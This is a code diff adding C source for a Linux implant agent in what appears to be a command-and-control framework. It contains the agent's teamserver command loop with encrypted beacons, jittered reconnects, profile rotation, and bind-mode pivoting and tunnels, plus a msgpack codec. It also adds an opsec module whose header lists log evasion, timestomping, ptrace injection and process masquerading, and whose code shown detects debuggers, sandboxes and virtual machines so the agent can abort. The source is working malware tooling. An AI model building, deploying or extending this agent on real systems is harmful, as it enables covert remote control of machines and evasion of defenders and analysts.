(uint32_t i = 0; i < obj_count; i++) { + uint32_t code = 0, cmd_id = 0; + const uint8_t* cmd_data = (const uint8_t*)0; + uint32_t cmd_data_len = 0; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&obj_collector, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + resp_count++; + } + } + } else if (poll_ret == 0 && recv_len == 0) { + // Received empty heartbeat from teamserver (len=0 msg) + ax_free(recv_data); + recv_data = (uint8_t*)0; + } + // poll_ret == 1: timeout, no data from teamserver + + // ALWAYS poll active pivots and tunnels + resp_count += (uint32_t)process_pivots(&g_pivot_ctx, &obj_collector); + resp_count += (uint32_t)process_tunnels(&obj_collector); + + // Send response if we have data OR if we received a message from teamserver + int must_respond = (poll_ret == 0); + if (resp_count > 0 || must_respond) { + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (resp_count > 0) { + mp_write_kv_int(&msg_writer, "type", 1); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, resp_count); + buf_append(&msg_writer.buf, obj_collector.buf.data, obj_collector.buf.len); + } else { + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + mp_writer_free(&msg_writer); + + if (encrypted) { + if (conn_send_msg(conn, encrypted, enc_len) != 0) { + ax_free(encrypted); + mp_writer_free(&obj_collector); + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + return -1; + } + ax_free(encrypted); + } + } + mp_writer_free(&obj_collector); + + // Cleanup + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + if (recv_data) ax_free(recv_data); + } + return 0; +} + +static int agent_main(void) { + // OPSEC checks — abort if hostile environment detected +#ifdef OPSEC_ENABLED + if (opsec_check() != 0) return 1; +#endif + + // ELF resolver — resolve libc APIs by hash (SO mode only) +#ifdef BUILD_SO + if (elf_resolver_init() != 0) return 1; +#endif + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + +#if PROFILE_COUNT > 0 + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + profile_count++; + } + } +#endif + + if (profile_count == 0) return 1; + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + if (create_session_info(&si_writer, session_key) != 0) return 1; + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations (stubs for Phase 1) + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Initialize pivot context for TCP relay + pivots_init(&g_pivot_ctx); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { ax_free(session_info_data); return 1; } + + if (prof->bind_port > 0) { + // ======== BIND TCP MODE ======== + // Agent listens on a port, parent connects to us. + // Used for pivot: beacon parent → "link tcp " → this agent. + connector_t server; + if (conn_bind_listen(&server, prof->bind_port) != 0) { + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + return 1; + } + + // Accept loop — re-accept if connection drops + while (ACTIVE) { + connector_t conn; + if (conn_accept(&conn, &server) != 0) continue; + + // Send init message (watermark + encrypted beat) + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with client TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + + conn_close(&server); + } else { + // ======== CLIENT TCP MODE ======== + // Agent connects out to teamserver addresses. + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + // Bidirectional jitter: ±20% of conn_timeout + unsigned int base_sleep = (unsigned int)prof->conn_timeout; + if (base_sleep > 2) { + uint8_t rnd[4]; + ax_random_bytes(rnd, 4); + uint32_t rval = ((uint32_t)rnd[0] << 24) | ((uint32_t)rnd[1] << 16) | + ((uint32_t)rnd[2] << 8) | rnd[3]; + unsigned int jitter_range = (base_sleep * 40) / 100; + unsigned int delta = rval % (jitter_range + 1); + unsigned int half = jitter_range / 2; + if (base_sleep > half) + base_sleep = base_sleep - half + delta; + } + sys_sleep(base_sleep); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg); + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) continue; + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + conn_close(&conn); + continue; + } + } + + // Send init + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with bind TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + } + + // Cleanup + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c new file mode 100644 index 000000000..7dea1e589 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c @@ -0,0 +1,512 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + buf_init(&w->buf, (int)cap); + return 0; +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + buf_append(&w->buf, &b, 1); + return 0; +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + buf_append(&w->buf, data, (int)len); + return 0; +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) { + *val = b; + return 0; + } + const uint8_t* p; + switch (b) { + case 0xCC: + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) return 0; + if ((b & 0xE0) == 0xE0) return 0; + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; + case 0xCC: r->pos += 1; break; + case 0xCD: r->pos += 2; break; + case 0xCE: r->pos += 4; break; + case 0xCF: r->pos += 8; break; + case 0xD0: r->pos += 1; break; + case 0xD1: r->pos += 2; break; + case 0xD2: r->pos += 4; break; + case 0xD3: r->pos += 8; break; + case 0xCA: r->pos += 4; break; + case 0xCB: r->pos += 8; break; + case 0xC4: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; + } + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h new file mode 100644 index 000000000..cf63a762b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h @@ -0,0 +1,54 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t *w, size_t cap); +void mp_writer_free(mp_writer_t *w); + +int mp_write_map(mp_writer_t *w, uint32_t count); +int mp_write_array(mp_writer_t *w, uint32_t count); +int mp_write_nil(mp_writer_t *w); +int mp_write_bool(mp_writer_t *w, bool val); +int mp_write_uint(mp_writer_t *w, uint64_t val); +int mp_write_int(mp_writer_t *w, int64_t val); +int mp_write_str(mp_writer_t *w, const char *str, uint32_t len); +int mp_write_bin(mp_writer_t *w, const uint8_t *data, uint32_t len); + +int mp_write_kv_str(mp_writer_t *w, const char *key, const char *val); +int mp_write_kv_bin(mp_writer_t *w, const char *key, const uint8_t *data, uint32_t len); +int mp_write_kv_uint(mp_writer_t *w, const char *key, uint64_t val); +int mp_write_kv_int(mp_writer_t *w, const char *key, int64_t val); +int mp_write_kv_bool(mp_writer_t *w, const char *key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t *data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t *r, const uint8_t *data, size_t len); +uint8_t mp_peek_type(mp_reader_t *r); +int mp_skip(mp_reader_t *r); + +int mp_read_map(mp_reader_t *r, uint32_t *count); +int mp_read_array(mp_reader_t *r, uint32_t *count); +int mp_read_nil(mp_reader_t *r); +int mp_read_bool(mp_reader_t *r, bool *val); +int mp_read_uint(mp_reader_t *r, uint64_t *val); +int mp_read_int(mp_reader_t *r, int64_t *val); +int mp_read_str(mp_reader_t *r, const char **str, uint32_t *len); +int mp_read_bin(mp_reader_t *r, const uint8_t **data, uint32_t *len); + +int mp_find_key_str(mp_reader_t *r, uint32_t map_count, const char *key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c new file mode 100644 index 000000000..eb3197540 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c @@ -0,0 +1,883 @@ +/// opsec.c -- OPSEC checks + offensive capabilities for Linux agent +/// Anti-debug, VM/hypervisor detection, container detection, eBPF detection, +/// process masquerading, timestomping, log evasion, ptrace injection, memfd migrate +/// Uses only direct syscalls — zero libc dependency. + +#include "opsec.h" +#include "crt.h" +#include "types.h" +#include "strings_obf.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 + +#define PTRACE_TRACEME 0 +#define PTRACE_PEEKTEXT 1 +#define PTRACE_POKETEXT 4 +#define PTRACE_GETREGS 12 +#define PTRACE_SETREGS 13 +#define PTRACE_ATTACH 16 +#define PTRACE_DETACH 17 + +#define PR_SET_NAME 15 + +#define MFD_CLOEXEC 0x0001U + +#ifndef AT_FDCWD +#define AT_FDCWD -100 +#endif + +// BPF commands +#define BPF_PROG_GET_NEXT_ID 11 +#define BPF_PROG_GET_FD_BY_ID 13 +#define BPF_OBJ_GET_INFO_BY_FD 15 + +// BPF program types (monitoring-relevant) +#define BPF_PROG_TYPE_KPROBE 1 +#define BPF_PROG_TYPE_TRACEPOINT 5 +#define BPF_PROG_TYPE_RAW_TRACEPOINT 17 +#define BPF_PROG_TYPE_LSM 29 + +// ── Helpers ── + +/// Read a small file via direct syscall. Returns bytes read, -1 on error. +static int read_file(const char *path, char *buf, int max_len) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + + int total = 0; + while (total < max_len - 1) { + long n = sys_read(fd, buf + total, (size_t)(max_len - 1 - total)); + if (n <= 0) break; + total += (int)n; + } + buf[total] = '\0'; + sys_close(fd); + return total; +} + +/// Check if a file exists (can be opened) +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Case-insensitive substring search in buf +static int contains_ci(const char *haystack, const char *needle) { + if (!*needle) return 1; + int nlen = (int)ax_strlen(needle); + + for (; *haystack; haystack++) { + int match = 1; + for (int i = 0; i < nlen; i++) { + char h = haystack[i]; + char n = needle[i]; + if (!h) { match = 0; break; } + if (h >= 'A' && h <= 'Z') h += 32; + if (n >= 'A' && n <= 'Z') n += 32; + if (h != n) { match = 0; break; } + } + if (match) return 1; + } + return 0; +} + +/// Write all bytes to fd +static int write_all(int fd, const void *buf, size_t len) { + const uint8_t *p = (const uint8_t *)buf; + size_t remaining = len; + while (remaining > 0) { + long n = sys_write(fd, p, remaining); + if (n < 0) return -1; + p += n; + remaining -= (size_t)n; + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// Anti-Debug +// ══════════════════════════════════════════════════════════════════════ + +int opsec_anti_debug(void) { + // 1. Check /proc/self/status for TracerPid (non-invasive) + char _path_status[64]; + DEOBF(OBF_PROC_SELF_STATUS, _path_status); + char status_buf[2048]; + if (read_file(_path_status, status_buf, sizeof(status_buf)) > 0) { + char *tracer = ax_strstr(status_buf, "TracerPid:"); + if (tracer) { + tracer += 10; + while (*tracer == ' ' || *tracer == '\t') tracer++; + int pid = ax_atoi(tracer); + if (pid != 0) { + ZERO_STR(_path_status, sizeof(_path_status)); + return -1; // Non-zero TracerPid → debugger attached + } + } + } + ZERO_STR(_path_status, sizeof(_path_status)); + + // 2. Fork-based ptrace check — child attempts TRACEME, parent reads result + // This avoids leaving the main process in a traced state. + { + int pipefd[2]; + if (sys_pipe2(pipefd, 0) < 0) goto skip_ptrace; + + int child = sys_fork(); + if (child < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + goto skip_ptrace; + } + + if (child == 0) { + // Child: try TRACEME — if we're being traced, this fails + sys_close(pipefd[0]); + uint8_t result = 0; + if (sys_ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) + result = 1; // Already traced + sys_write(pipefd[1], &result, 1); + sys_close(pipefd[1]); + sys_exit_group(0); + } + + // Parent: read child result + sys_close(pipefd[1]); + uint8_t result = 0; + sys_read(pipefd[0], &result, 1); + sys_close(pipefd[0]); + + // Wait for child to prevent zombie + sys_wait4(child, NULL, 0, NULL); + + if (result != 0) return -1; + } +skip_ptrace: + + // 3. Timing check — detect single-stepping +#ifdef ARCH_X86_64 + { + uint32_t lo1, hi1, lo2, hi2; + __asm__ volatile("rdtsc" : "=a"(lo1), "=d"(hi1)); + + volatile int dummy = 0; + for (int i = 0; i < 100; i++) dummy += i; + (void)dummy; + + __asm__ volatile("rdtsc" : "=a"(lo2), "=d"(hi2)); + + uint64_t t1 = ((uint64_t)hi1 << 32) | lo1; + uint64_t t2 = ((uint64_t)hi2 << 32) | lo2; + uint64_t delta = t2 - t1; + + // Normal: ~1000-50000 cycles. Single-step: >10M cycles. + if (delta > 10000000) { + return -1; + } + } +#endif + + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// VM/Hypervisor Detection +// ══════════════════════════════════════════════════════════════════════ + +int opsec_vm_detect(void) { + char dmi_buf[256]; + + // 1. DMI product_name + char _path_dmi[64]; + DEOBF(OBF_SYS_DMI_PRODUCT, _path_dmi); + if (read_file(_path_dmi, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "virtualbox")) return -1; + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "kvm")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "hyper-v")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 2. DMI sys_vendor + char _path_vendor[64]; + DEOBF(OBF_SYS_DMI_VENDOR, _path_vendor); + if (read_file(_path_vendor, dmi_buf, sizeof(dmi_buf)) > 0) { + if (contains_ci(dmi_buf, "vmware")) return -1; + if (contains_ci(dmi_buf, "innotek")) return -1; + if (contains_ci(dmi_buf, "qemu")) return -1; + if (contains_ci(dmi_buf, "xen")) return -1; + if (contains_ci(dmi_buf, "microsoft")) return -1; + if (contains_ci(dmi_buf, "parallels")) return -1; + } + + // 3. /proc/cpuinfo — check for "hypervisor" flag + char _path_cpu[64]; + DEOBF(OBF_PROC_CPUINFO, _path_cpu); + char cpuinfo_buf[4096]; + if (read_file(_path_cpu, cpuinfo_buf, sizeof(cpuinfo_buf)) > 0) { + if (ax_strstr(cpuinfo_buf, "hypervisor")) return -1; + } + + // 4. CPU count check — analysis VMs often have 1 core + { + int cpu_count = 0; + char *p = cpuinfo_buf; + while ((p = ax_strstr(p, "processor")) != NULL) { + cpu_count++; + p += 9; + } + if (cpu_count > 0 && cpu_count < 2) return -1; + } 